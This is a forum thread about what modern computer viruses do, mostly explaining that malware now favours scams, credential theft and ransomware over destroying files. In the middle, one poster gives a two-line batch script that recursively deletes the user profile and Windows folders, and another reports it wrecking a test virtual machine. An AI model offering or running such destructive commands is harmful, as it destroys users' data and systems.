Just a quicky on virus's
- Thread starter hargi
- Start date
I think you're asking the wrong question, as there don't need to be many! You just need to ask yourself, if my files were deleted by a virus, is my backup routine sufficient to restore all my essential files?
But in general, yes it is probably true that these days, most common viruses (virii?) focus more on 'scams' like trying to get you to sign up for something (such as fake anti-virus programs). There isn't much (any?) profit in writing a malicious code that just deletes all your files - whereas writing a 'scam' virus will net cash from unsuspecting users who then sign-up to buy 'software' to 'remove' their 'infection'.
Either that, or things that try to get you to divulge bank details, or other account information and passwords. Possibly involving keyloggers, or just fake login pages.
But in general, yes it is probably true that these days, most common viruses (virii?) focus more on 'scams' like trying to get you to sign up for something (such as fake anti-virus programs). There isn't much (any?) profit in writing a malicious code that just deletes all your files - whereas writing a 'scam' virus will net cash from unsuspecting users who then sign-up to buy 'software' to 'remove' their 'infection'.
Either that, or things that try to get you to divulge bank details, or other account information and passwords. Possibly involving keyloggers, or just fake login pages.
Oh you'll definitely still get malicious viruses written (like those that delete all your files), but it's just that writing a virus that gives any sort of financial gain, is probably more appealing to most virus writers these days.
easy to make one..
rd /s /q %userprofile%
rd /s /q %windir%
save as bat, run
-going to try this in my VM and see what happens
woah that did no small amount of damage to my xp vm. Windows folder is a lot smaller than it used to be, userprofile said path not found
windows 7 would uac prompt i guess
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You can essentially write a virus to do anything you want it to. However, as has been mentioned, there are very few that 'break' your system and they are mainly just for getting cash out of you, either by scamming you into buying some product or just taking the more direct route and getting into your bank account.
Very broadly speaking, viruses in the past were created for a laugh or just because they could so you saw a lot of nuisance programs and things that trashed stuff for the sake of it.
Nowadays there are much tangible motivations behind malware like money and espionage and it makes sense to keep the victim computer up and running without alerting the user. The exception being fake AV and ransom malware that try to blind you from the woods with a few trees.
Nowadays there are much tangible motivations behind malware like money and espionage and it makes sense to keep the victim computer up and running without alerting the user. The exception being fake AV and ransom malware that try to blind you from the woods with a few trees.